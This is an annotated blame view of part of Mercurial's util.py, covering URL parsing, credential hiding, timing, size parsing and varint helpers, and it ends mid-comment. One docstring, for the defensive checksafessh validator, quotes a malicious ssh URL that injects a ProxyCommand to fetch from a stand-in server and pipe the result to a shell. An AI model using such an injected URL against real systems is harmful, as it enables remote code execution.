formatting: byteify all mercurial/ and hgext/ string literals...
r43347 if parsequery and b'?' in path:
path, self.query = path.split(b'?', 1)
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 if not path:
path = None
if not self.query:
self.query = None
# // is required to specify a host/authority
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 if path and path.startswith(b'//'):
parts = path[2:].split(b'/', 1)
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 if len(parts) > 1:
self.host, path = parts
else:
self.host = parts[0]
path = None
if not self.host:
self.host = None
Mads Kiilerich
url: really handle urls of the form file:///c:/foo/bar/ correctly...
r15018 # path of file:///d is /d
# path of file:///d:/ is d:/, not /d:/
Matt Mackall
url: handle urls of the form file:///c:/foo/bar/ correctly
r14915 if path and not hasdriveletter(path):
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 path = b'/' + path
if self.host and b'@' in self.host:
self.user, self.host = self.host.rsplit(b'@', 1)
if b':' in self.user:
self.user, self.passwd = self.user.split(b':', 1)
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 if not self.host:
self.host = None
# Don't split on colons in IPv6 addresses without ports
Augie Fackler
formatting: blacken the codebase...
r43346 if (
self.host
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 and b':' in self.host
and not (
self.host.startswith(b'[') and self.host.endswith(b']')
)
Augie Fackler
formatting: blacken the codebase...
r43346 ):
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 self._hostport = self.host
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 self.host, self.port = self.host.rsplit(b':', 1)
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 if not self.host:
self.host = None
Augie Fackler
formatting: blacken the codebase...
r43346 if (
self.host
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 and self.scheme == b'file'
and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
Augie Fackler
formatting: blacken the codebase...
r43346 ):
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 raise error.Abort(
_(b'file:// URLs can only refer to localhost')
)
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076
self.path = path
Benoit Boissinot
url: store and assume the query part of an url is in escaped form (issue2921)
r14988 # leave the query string escaped
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 v = getattr(self, a)
if v is not None:
Gregory Szorc
util: use urlreq.unquote...
r31567 setattr(self, a, urlreq.unquote(v))
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076
Yuya Nishihara
py3: fix repr(util.url) to return system string...
r34074 @encoding.strmethod
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 def __repr__(self):
attrs = []
Augie Fackler
formatting: blacken the codebase...
r43346 for a in (
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 b'scheme',
b'user',
b'passwd',
b'host',
b'port',
b'path',
b'query',
b'fragment',
Augie Fackler
formatting: blacken the codebase...
r43346 ):
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 v = getattr(self, a)
if v is not None:
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
return b'<url %s>' % b', '.join(attrs)
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076
Yuya Nishihara
py3: add utility to forward __str__() to __bytes__()...
r33022 def __bytes__(self):
Mads Kiilerich
test: test that backslash is preserved by the url class
r14147 r"""Join the URL's components back into a URL string.
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076
Examples:
Yuya Nishihara
doctest: replace str() with bytes()
r34136 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
Mads Kiilerich
util: don't encode ':' in url paths...
r15452 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
Yuya Nishihara
doctest: replace str() with bytes()
r34136 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
Benoit Boissinot
url: store and assume the query part of an url is in escaped form (issue2921)
r14988 'http://user:pw@host:80/?foo=bar&baz=42'
Yuya Nishihara
doctest: replace str() with bytes()
r34136 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
Benoit Boissinot
url: store and assume the query part of an url is in escaped form (issue2921)
r14988 'http://user:pw@host:80/?foo=bar%3dbaz'
Yuya Nishihara
doctest: replace str() with bytes()
r34136 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 'ssh://user:pw@[::1]:2200//home/joe#'
Yuya Nishihara
doctest: replace str() with bytes()
r34136 >>> bytes(url(b'http://localhost:80//'))
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 'http://localhost:80//'
Yuya Nishihara
doctest: replace str() with bytes()
r34136 >>> bytes(url(b'http://localhost:80/'))
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 'http://localhost:80/'
Yuya Nishihara
doctest: replace str() with bytes()
r34136 >>> bytes(url(b'http://localhost:80'))
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 'http://localhost:80/'
Yuya Nishihara
doctest: replace str() with bytes()
r34136 >>> bytes(url(b'bundle:foo'))
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 'bundle:foo'
Yuya Nishihara
doctest: replace str() with bytes()
r34136 >>> bytes(url(b'bundle://../foo'))
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 'bundle:../foo'
Yuya Nishihara
doctest: replace str() with bytes()
r34136 >>> bytes(url(b'path'))
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 'path'
Yuya Nishihara
doctest: replace str() with bytes()
r34136 >>> bytes(url(b'file:///tmp/foo/bar'))
Peter Arrenbrecht
util: make str(url) return file:/// for abs paths again...
r14313 'file:///tmp/foo/bar'
Yuya Nishihara
doctest: replace str() with bytes()
r34136 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
Matt Mackall
merge with stable
r15611 'file:///c:/tmp/foo/bar'
Yuya Nishihara
doctest: use print_function and convert bytes to unicode where needed
r34139 >>> print(url(br'bundle:foo\bar'))
Mads Kiilerich
test: test that backslash is preserved by the url class
r14147 bundle:foo\bar
Yuya Nishihara
doctest: use print_function and convert bytes to unicode where needed
r34139 >>> print(url(br'file:///D:\data\hg'))
Simon Heimberg
util: url keeps backslash in paths...
r20106 file:///D:\data\hg
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 """
if self._localpath:
s = self.path
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 if self.scheme == b'bundle':
s = b'bundle:' + s
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 if self.fragment:
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 s += b'#' + self.fragment
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 return s
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 s = self.scheme + b':'
Peter Arrenbrecht
util: make str(url) return file:/// for abs paths again...
r14313 if self.user or self.passwd or self.host:
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 s += b'//'
Augie Fackler
formatting: blacken the codebase...
r43346 elif self.scheme and (
not self.path
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 or self.path.startswith(b'/')
Augie Fackler
formatting: blacken the codebase...
r43346 or hasdriveletter(self.path)
):
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 s += b'//'
Patrick Mezard
util: fix url.__str__() for windows file URLs...
r15609 if hasdriveletter(self.path):
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 s += b'/'
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 if self.user:
timeless
pycompat: switch to util.urlreq/util.urlerr for py3 compat
r28883 s += urlreq.quote(self.user, safe=self._safechars)
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 if self.passwd:
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 if self.user or self.passwd:
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 s += b'@'
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 if self.host:
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
timeless
pycompat: switch to util.urlreq/util.urlerr for py3 compat
r28883 s += urlreq.quote(self.host)
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 else:
s += self.host
if self.port:
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 s += b':' + urlreq.quote(self.port)
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 if self.host:
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 s += b'/'
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 if self.path:
Benoit Boissinot
url: store and assume the query part of an url is in escaped form (issue2921)
r14988 # TODO: similar to the query string, we should not unescape the
# path when we store it, the path might contain '%2f' = '/',
# which we should *not* escape.
timeless
pycompat: switch to util.urlreq/util.urlerr for py3 compat
r28883 s += urlreq.quote(self.path, safe=self._safepchars)
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 if self.query:
Benoit Boissinot
url: store and assume the query part of an url is in escaped form (issue2921)
r14988 # we store the query in escaped form.
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 s += b'?' + self.query
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 if self.fragment is not None:
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 return s
Yuya Nishihara
py3: add utility to forward __str__() to __bytes__()...
r33022 __str__ = encoding.strmethod(__bytes__)
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 def authinfo(self):
user, passwd = self.user, self.passwd
try:
self.user, self.passwd = None, None
Pulkit Goyal
py3: replace str() with bytes()
r31841 s = bytes(self)
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 finally:
self.user, self.passwd = user, passwd
if not self.user:
return (s, None)
Patrick Mezard
http: explain why the host is passed to urllib2 password manager...
r15028 # authinfo[1] is passed to urllib2 password manager, and its
# URIs must not contain credentials. The host is passed in the
# URIs list because Python < 2.4.3 uses only that to search for
# a password.
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 return (s, (None, (s, self.host), self.user, self.passwd or b''))
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076
Matt Mackall
subrepos: be smarter about what's an absolute path (issue2808)
r14766 def isabs(self):
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 if self.scheme and self.scheme != b'file':
Augie Fackler
formatting: blacken the codebase...
r43346 return True # remote URL
Matt Mackall
subrepos: be smarter about what's an absolute path (issue2808)
r14766 if hasdriveletter(self.path):
Augie Fackler
formatting: blacken the codebase...
r43346 return True # absolute for our purposes - can't be joined()
Pulkit Goyal
py3: add b'' to make the regex pattern bytes
r33096 if self.path.startswith(br'\\'):
Augie Fackler
formatting: blacken the codebase...
r43346 return True # Windows UNC path
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 if self.path.startswith(b'/'):
Augie Fackler
formatting: blacken the codebase...
r43346 return True # POSIX-style
Matt Mackall
subrepos: be smarter about what's an absolute path (issue2808)
r14766 return False
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 def localpath(self):
Matt Harbison
typing: add some type annotations to mercurial/util.py...
r47391 # type: () -> bytes
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 if self.scheme == b'file' or self.scheme == b'bundle':
path = self.path or b'/'
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 # For Windows, we need to promote hosts containing drive
# letters to paths with drive letters.
if hasdriveletter(self._hostport):
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 path = self._hostport + b'/' + self.path
Augie Fackler
formatting: blacken the codebase...
r43346 elif (
self.host is not None and self.path and not hasdriveletter(path)
):
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 path = b'/' + path
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 return path
return self._origpath
Siddharth Agarwal
util.url: add an 'islocal' method...
r20353 def islocal(self):
'''whether localpath will return something that posixfile can open'''
Augie Fackler
formatting: blacken the codebase...
r43346 return (
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 not self.scheme
or self.scheme == b'file'
or self.scheme == b'bundle'
Augie Fackler
formatting: blacken the codebase...
r43346 )
Siddharth Agarwal
util.url: add an 'islocal' method...
r20353
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 def hasscheme(path):
Matt Harbison
typing: add some type annotations to mercurial/util.py...
r47391 # type: (bytes) -> bool
return bool(url(path).scheme) # cast to help pytype
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076
Augie Fackler
formatting: blacken the codebase...
r43346
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 def hasdriveletter(path):
Matt Harbison
typing: add some type annotations to mercurial/util.py...
r47391 # type: (bytes) -> bool
return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076
Augie Fackler
formatting: blacken the codebase...
r43346
Mads Kiilerich
util: rename the util.localpath that uses url to urllocalpath (issue2875)...
r14825 def urllocalpath(path):
Matt Harbison
typing: add some type annotations to mercurial/util.py...
r47391 # type: (bytes) -> bytes
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 return url(path, parsequery=False, parsefragment=False).localpath()
Augie Fackler
formatting: blacken the codebase...
r43346
Sean Farley
util: add utility method to check for bad ssh urls (SEC)...
r33723 def checksafessh(path):
Matt Harbison
typing: add some type annotations to mercurial/util.py...
r47391 # type: (bytes) -> None
Sean Farley
util: add utility method to check for bad ssh urls (SEC)...
r33723 """check if a path / url is a potentially unsafe ssh exploit (SEC)
This is a sanity check for ssh urls. ssh will parse the first item as
an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
Let's prevent these potentially exploited urls entirely and warn the
user.
Raises an error.Abort when the url is unsafe.
"""
path = urlreq.unquote(path)
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
Augie Fackler
formatting: blacken the codebase...
r43346 raise error.Abort(
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
Augie Fackler
formatting: blacken the codebase...
r43346 )
Sean Farley
util: add utility method to check for bad ssh urls (SEC)...
r33723
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 def hidepassword(u):
Matt Harbison
typing: add some type annotations to mercurial/util.py...
r47391 # type: (bytes) -> bytes
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 '''hide user credential in a url string'''
u = url(u)
if u.passwd:
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 u.passwd = b'***'
Pulkit Goyal
py3: replace str() with bytes()
r31841 return bytes(u)
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076
Augie Fackler
formatting: blacken the codebase...
r43346
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 def removeauth(u):
Matt Harbison
typing: add some type annotations to mercurial/util.py...
r47391 # type: (bytes) -> bytes
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 '''remove all authentication information from a url string'''
u = url(u)
u.user = u.passwd = None
Pulkit Goyal
py3: return bytes from util.removeauth()...
r37384 return bytes(u)
Idan Kamara
util: add helper function isatty(fd) to check for tty-ness
r14515
Augie Fackler
formatting: blacken the codebase...
r43346
Bryan O'Sullivan
util: add a timed function for use during development...
r18736 timecount = unitcountfn(
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 (1, 1e3, _(b'%.0f s')),
(100, 1, _(b'%.1f s')),
(10, 1, _(b'%.2f s')),
(1, 1, _(b'%.3f s')),
(100, 0.001, _(b'%.1f ms')),
(10, 0.001, _(b'%.2f ms')),
(1, 0.001, _(b'%.3f ms')),
(100, 0.000001, _(b'%.1f us')),
(10, 0.000001, _(b'%.2f us')),
(1, 0.000001, _(b'%.3f us')),
(100, 0.000000001, _(b'%.1f ns')),
(10, 0.000000001, _(b'%.2f ns')),
(1, 0.000000001, _(b'%.3f ns')),
Augie Fackler
formatting: blacken the codebase...
r43346 )
Bryan O'Sullivan
util: add a timed function for use during development...
r18736
Martijn Pieters
util: create a context manager to handle timing...
r38833 @attr.s
class timedcmstats(object):
"""Stats information produced by the timedcm context manager on entering."""
# the starting value of the timer as a float (meaning and resulution is
# platform dependent, see util.timer)
start = attr.ib(default=attr.Factory(lambda: timer()))
# the number of seconds as a floating point value; starts at 0, updated when
# the context is exited.
elapsed = attr.ib(default=0)
# the number of nested timedcm context managers.
level = attr.ib(default=1)
Martijn Pieters
util: make new timedcmstats class Python 3 compatible
r38848 def __bytes__(self):
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 return timecount(self.elapsed) if self.elapsed else b'<unknown>'
Martijn Pieters
util: create a context manager to handle timing...
r38833
Martijn Pieters
util: make new timedcmstats class Python 3 compatible
r38848 __str__ = encoding.strmethod(__bytes__)
Augie Fackler
formatting: blacken the codebase...
r43346
Martijn Pieters
util: create a context manager to handle timing...
r38833 @contextlib.contextmanager
Augie Fackler
util: make timedcm require the label (API)...
r39295 def timedcm(whencefmt, *whenceargs):
Martijn Pieters
util: create a context manager to handle timing...
r38833 """A context manager that produces timing information for a given context.
On entering a timedcmstats instance is produced.
This context manager is reentrant.
"""
# track nested context managers
timedcm._nested += 1
timing_stats = timedcmstats(level=timedcm._nested)
try:
Augie Fackler
util: make timedcm context manager also emit trace events...
r39293 with tracing.log(whencefmt, *whenceargs):
yield timing_stats
Martijn Pieters
util: create a context manager to handle timing...
r38833 finally:
timing_stats.elapsed = timer() - timing_stats.start
timedcm._nested -= 1
Augie Fackler
formatting: blacken the codebase...
r43346
Martijn Pieters
util: create a context manager to handle timing...
r38833 timedcm._nested = 0
Bryan O'Sullivan
util: add a timed function for use during development...
r18736
Augie Fackler
formatting: blacken the codebase...
r43346
Bryan O'Sullivan
util: add a timed function for use during development...
r18736 def timed(func):
Augie Fackler
formating: upgrade to black 20.8b1...
r46554 """Report the execution time of a function call to stderr.
Bryan O'Sullivan
util: add a timed function for use during development...
r18736
During development, use as a decorator when you need to measure
the cost of a function, e.g. as follows:
@util.timed
def foo(a, b, c):
pass
Augie Fackler
formating: upgrade to black 20.8b1...
r46554 """
Bryan O'Sullivan
util: add a timed function for use during development...
r18736
def wrapper(*args, **kwargs):
Augie Fackler
cleanup: make all uses of timedcm specify what they're timing...
r39294 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
Martijn Pieters
util: create a context manager to handle timing...
r38833 result = func(*args, **kwargs)
stderr = procutil.stderr
Augie Fackler
formatting: blacken the codebase...
r43346 stderr.write(
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 b'%s%s: %s\n'
Augie Fackler
formatting: blacken the codebase...
r43346 % (
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 b' ' * time_stats.level * 2,
Augie Fackler
formatting: blacken the codebase...
r43346 pycompat.bytestr(func.__name__),
time_stats,
)
)
Martijn Pieters
util: create a context manager to handle timing...
r38833 return result
Augie Fackler
formatting: blacken the codebase...
r43346
Bryan O'Sullivan
util: add a timed function for use during development...
r18736 return wrapper
Bryan O'Sullivan
util: migrate fileset._sizetoint to util.sizetoint...
r19194
Augie Fackler
formatting: blacken the codebase...
r43346
_sizeunits = (
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 (b'm', 2 ** 20),
(b'k', 2 ** 10),
(b'g', 2 ** 30),
(b'kb', 2 ** 10),
(b'mb', 2 ** 20),
(b'gb', 2 ** 30),
(b'b', 1),
Augie Fackler
formatting: blacken the codebase...
r43346 )
Bryan O'Sullivan
util: migrate fileset._sizetoint to util.sizetoint...
r19194
def sizetoint(s):
Matt Harbison
typing: add some type annotations to mercurial/util.py...
r47391 # type: (bytes) -> int
Augie Fackler
formating: upgrade to black 20.8b1...
r46554 """Convert a space specifier to a byte count.
Bryan O'Sullivan
util: migrate fileset._sizetoint to util.sizetoint...
r19194
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> sizetoint(b'30')
Bryan O'Sullivan
util: migrate fileset._sizetoint to util.sizetoint...
r19194 30
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> sizetoint(b'2.2kb')
Bryan O'Sullivan
util: migrate fileset._sizetoint to util.sizetoint...
r19194 2252
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> sizetoint(b'6M')
Bryan O'Sullivan
util: migrate fileset._sizetoint to util.sizetoint...
r19194 6291456
Augie Fackler
formating: upgrade to black 20.8b1...
r46554 """
Bryan O'Sullivan
util: migrate fileset._sizetoint to util.sizetoint...
r19194 t = s.strip().lower()
try:
for k, u in _sizeunits:
if t.endswith(k):
Augie Fackler
formatting: blacken the codebase...
r43346 return int(float(t[: -len(k)]) * u)
Bryan O'Sullivan
util: migrate fileset._sizetoint to util.sizetoint...
r19194 return int(t)
except ValueError:
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 raise error.ParseError(_(b"couldn't parse size: %s") % s)
Bryan O'Sullivan
summary: augment output with info from extensions
r19211
Augie Fackler
formatting: blacken the codebase...
r43346
Bryan O'Sullivan
summary: augment output with info from extensions
r19211 class hooks(object):
Augie Fackler
formating: upgrade to black 20.8b1...
r46554 """A collection of hook functions that can be used to extend a
timeless@mozdev.org
spelling: behaviour -> behavior
r26098 function's behavior. Hooks are called in lexicographic order,
Augie Fackler
formating: upgrade to black 20.8b1...
r46554 based on the names of their sources."""
Bryan O'Sullivan
summary: augment output with info from extensions
r19211
def __init__(self):
self._hooks = []
def add(self, source, hook):
self._hooks.append((source, hook))
def __call__(self, *args):
self._hooks.sort(key=lambda x: x[0])
FUJIWARA Katsunori
util: enable "hooks" to return list of the values returned from each hooks
r21046 results = []
Bryan O'Sullivan
summary: augment output with info from extensions
r19211 for source, hook in self._hooks:
FUJIWARA Katsunori
util: enable "hooks" to return list of the values returned from each hooks
r21046 results.append(hook(*args))
return results
Mads Kiilerich
util: introduce util.debugstacktrace for showing a stack trace without crashing...
r20244
Augie Fackler
formatting: blacken the codebase...
r43346
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
Augie Fackler
formating: upgrade to black 20.8b1...
r46554 """Yields lines for a nicely formatted stacktrace.
Mads Kiilerich
util: add debugstacktrace depth limit...
r31315 Skips the 'skip' last entries, then return the last 'depth' entries.
timeless
util: refactor getstackframes
r28497 Each file+linenumber is formatted according to fileline.
Each line is formatted according to line.
If line is None, it yields:
length of longest filepath+line number,
filepath+linenumber,
function
Not be used in production code but very convenient while developing.
Augie Fackler
formating: upgrade to black 20.8b1...
r46554 """
Augie Fackler
formatting: blacken the codebase...
r43346 entries = [
(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
][-depth:]
timeless
util: refactor getstackframes
r28497 if entries:
fnmax = max(len(entry[0]) for entry in entries)
for fnln, func in entries:
if line is None:
yield (fnmax, fnln, func)
else:
yield line % (fnmax, fnln, func)
Augie Fackler
formatting: blacken the codebase...
r43346
def debugstacktrace(
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 msg=b'stacktrace',
skip=0,
f=procutil.stderr,
otherf=procutil.stdout,
depth=0,
util: add an optional `prefix` argument to debugstacktrace...
r44193 prefix=b'',
Augie Fackler
formatting: blacken the codebase...
r43346 ):
Augie Fackler
formating: upgrade to black 20.8b1...
r46554 """Writes a message to f (stderr) with a nicely formatted stacktrace.
Mads Kiilerich
util: add debugstacktrace depth limit...
r31315 Skips the 'skip' entries closest to the call, then show 'depth' entries.
By default it will flush stdout first.
timeless
util: reword debugstacktrace comment
r28496 It can be used everywhere and intentionally does not require an ui object.
Mads Kiilerich
util: introduce util.debugstacktrace for showing a stack trace without crashing...
r20244 Not be used in production code but very convenient while developing.
Augie Fackler
formating: upgrade to black 20.8b1...
r46554 """
Mads Kiilerich
util: debugstacktrace, flush before and after writing...
r20542 if otherf:
otherf.flush()
util: add an optional `prefix` argument to debugstacktrace...
r44193 f.write(b'%s%s at:\n' % (prefix, msg.rstrip()))
Mads Kiilerich
util: add debugstacktrace depth limit...
r31315 for line in getstackframes(skip + 1, depth=depth):
util: add an optional `prefix` argument to debugstacktrace...
r44193 f.write(prefix + line)
Mads Kiilerich
util: debugstacktrace, flush before and after writing...
r20542 f.flush()
Mads Kiilerich
util: introduce util.debugstacktrace for showing a stack trace without crashing...
r20244
Augie Fackler
formatting: blacken the codebase...
r43346
Mads Kiilerich
util: introduce util.debugstacktrace for showing a stack trace without crashing...
r20244 # convenient shortcut
dst = debugstacktrace
Mark Thomas
util: add safename function for generating safe names to rename to...
r34555
Augie Fackler
formatting: blacken the codebase...
r43346
Mark Thomas
util: add safename function for generating safe names to rename to...
r34555 def safename(f, tag, ctx, others=None):
"""
Generate a name that it is safe to rename f to in the given context.
f: filename to rename
tag: a string tag that will be included in the new name
ctx: a context, in which the new name must not exist
others: a set of other filenames that the new name must not be in
Returns a file name of the form oldname~tag[~number] which does not exist
in the provided context and is not in the set of other names.
"""
if others is None:
others = set()
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 fn = b'%s~%s' % (f, tag)
Mark Thomas
util: add safename function for generating safe names to rename to...
r34555 if fn not in ctx and fn not in others:
return fn
for n in itertools.count(1):
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 fn = b'%s~%s~%s' % (f, tag, n)
Mark Thomas
util: add safename function for generating safe names to rename to...
r34555 if fn not in ctx and fn not in others:
return fn
Boris Feld
util: move 'readexactly' in the util module...
r35772
Augie Fackler
formatting: blacken the codebase...
r43346
Boris Feld
util: move 'readexactly' in the util module...
r35772 def readexactly(stream, n):
'''read n bytes from stream.read and abort if less was available'''
s = stream.read(n)
if len(s) < n:
Augie Fackler
formatting: blacken the codebase...
r43346 raise error.Abort(
Martin von Zweigbergk
cleanup: join string literals that are already on one line...
r43387 _(b"stream ended unexpectedly (got %d bytes, expected %d)")
Augie Fackler
formatting: blacken the codebase...
r43346 % (len(s), n)
)
Boris Feld
util: move 'readexactly' in the util module...
r35772 return s
Gregory Szorc
util: implement varint functions...
r35773
Augie Fackler
formatting: blacken the codebase...
r43346
Gregory Szorc
util: implement varint functions...
r35773 def uvarintencode(value):
"""Encode an unsigned integer value to a varint.
A varint is a variable length integer of 1 or more bytes. Each byte
except the last has the most significant bit set. The lower 7 bits of
each byte store the 2's complement representation, least significant group
first.
>>> uvarintencode(0)
'\\x00'
>>> uvarintencode(1)
'\\x01'
>>> uvarintencode(127)
'\\x7f'
>>> uvarintencode(1337)
'\\xb9\\n'
>>> uvarintencode(65536)
'\\x80\\x80\\x04'
>>> uvarintencode(-1)
Traceback (most recent call last):
...
ProgrammingError: negative value for uvarint: -1
"""
if value < 0:
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
Augie Fackler
formatting: blacken the codebase...
r43346 bits = value & 0x7F
Gregory Szorc
util: implement varint functions...
r35773 value >>= 7
bytes = []
while value:
bytes.append(pycompat.bytechr(0x80 | bits))
Augie Fackler
formatting: blacken the codebase...
r43346 bits = value & 0x7F
Gregory Szorc
util: implement varint functions...
r35773 value >>= 7
bytes.append(pycompat.bytechr(bits))
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 return b''.join(bytes)
Gregory Szorc
util: implement varint functions...
r35773
Augie Fackler
formatting: blacken the codebase...
r43346
Gregory Szorc
util: implement varint functions...
r35773 def uvarintdecodestream(fh):
"""Decode an unsigned variable length integer from a stream.
The passed argument is anything that has a ``.read(N)`` method.
>>> try:
... from StringIO import StringIO as BytesIO
... except ImportError:
... from io import BytesIO
>>> uvarintdecodestream(BytesIO(b'\\x00'))
0
>>> uvarintdecodestream(BytesIO(b'\\x01'))
1
>>> uvarintdecodestream(BytesIO(b'\\x7f'))
127
>>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
1337
>>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
65536
>>> uvarintdecodestream(BytesIO(b'\\x80'))
Traceback (most recent call last):
...
Abort: stream ended unexpectedly (got 0 bytes, expected 1)
"""
result = 0
shift = 0
while True:
byte = ord(readexactly(fh, 1))
Augie Fackler
formatting: blacken the codebase...
r43346 result |= (byte & 0x7F) << shift
Gregory Szorc
util: implement varint functions...
r35773 if not (byte & 0x80):
return result
shift += 7
Manuel Jacob
curses: do not initialize LC_ALL to user settings (issue6358)...
r45550
# Passing the '' locale means that the locale should be set according to the
# user settings (environment variables).
# Python sometimes avoids setting the global locale settings. When interfacing
